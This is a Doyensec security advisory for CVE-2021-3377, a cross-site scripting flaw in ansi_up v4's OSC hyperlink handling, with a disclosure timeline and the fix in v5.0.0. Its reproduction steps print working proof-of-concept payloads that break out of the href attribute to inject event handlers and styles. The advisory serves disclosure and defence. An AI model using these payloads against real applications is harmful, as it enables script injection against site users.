

Security Advisory Cross-Site Scripting in ansi_up

Created by Ben Caller 1st Feb 2021

WWW.DOYENSEC.COM

DOYENSEC



Overview

This document provides technical details of a Cross-Site Scripting vulnerability in version 4 of the ansi_up npm package.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Copyright 2021. Doyensec LLC. All rights reserved.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given. The information in the advisory is believed to be accurate at the time of publishing based on currently available information, and it is provided as-is, as a free service to the community by Doyensec LLC. There are no warranties with regard to this information, and Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.



Cross-Site Scripting (XSS) in ansi_up	
Vendor	https://github.com/drudru
Severity	High
Vulnerability Class	Cross-Site Scripting
Component	ansi_up
Status	Fixed
CVE	CVE-2021-3377
Credits	Ben Caller of Doyensec

Summary

The npm package ansi_up converts ANSI escape codes (used by terminal emulators to, for example, set text color) into HTML. Since ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, extra HTML attributes and javascript code can be injected into the returned HTML. This can be used in a Cross-Site Scripting (XSS) attack.

Technical Description

The OSC Hyperlink feature takes ANSI text of the form:

\u001B]8;;https://doyensec.com\u0007Doyensec\u001B]8;;\u0007

and returns HTML of the form:

Doyensec

The HTML is produced in the process_hyperlink function¹ with:

let result = `\$
{this.escape_txt_for_html(pkt.text)}`;

¹ <u>https://github.com/drudru/ansi_up/blob/v4.0.4/ansi_up.ts#L687</u>

The '<', '>' and '&' are sanitized by escape_txt_for_html. The URL also cannot contain spaces. However, the double quote character can be used to break out of the href attribute.

Other attributes such as the event handler onmouseover and the style attribute can be set.

Spaces do not need to be used between HTML attributes as the forward slash character can be used instead.

Reproduction Steps

When processed by ansi_up, the input:

```
\u001B]8;;https://doyensec.com"/onmouseover="alert(1)\u0007Doyensec\u001B]8;;\u0007
```

produces the following HTML:

```
<a href="https://doyensec.com"/onmouseover="alert(1)">Doyensec</a>
```

This will execute javascript (pop open an alert box) when the mouse moves over the link.

A full html example:

```
<div id="console"></div>
<script src="https://cdn.jsdelivr.net/npm/ansi_up@4.0.4/ansi_up.min.js"></
script>
<script>
var logOutput = `\x1b]8;;https://"/onclick="alert(1)"/onmouseover="alert(1)"/
onfocus="alert(1)""/onblur="alert(1)"/
style="position:fixed;width:60%;height:60%;transform:rotateZ(45deg);top:20%;l
eft:20%;background:url('https://blog.doyensec.com/public/images/
logo.png');background-position:center;background-size:cover;padding-
top:75px;font-size:xxx-large;color:red;text-decoration:underline;text-
align:center"/tabindex="1\x07XSS\x1b]8;;\x07`;
var html = (new AnsiUp).ansi_to_html(logOutput);
document.getElementById("console").innerHTML = html;
</script>
```





Remediation

The maintainer has released an update (v5.0.0) to address this issue:

- <u>https://github.com/drudru/ansi_up/releases/tag/v5.0.0</u>
- Commit: <u>https://github.com/drudru/ansi_up/commit/c8c726ed1db</u>

Disclosure Timeline

- 2020-12-24 Vulnerability disclosed via email to maintainer
- 2020-12-24 Acknowledgement from maintainer
- 2021-01-05 Doyensec and maintainer discuss remediation
- 2021-01-29 Vulnerability patched and released as version 5.0.0
- 2021-02-01 Doyensec advisory published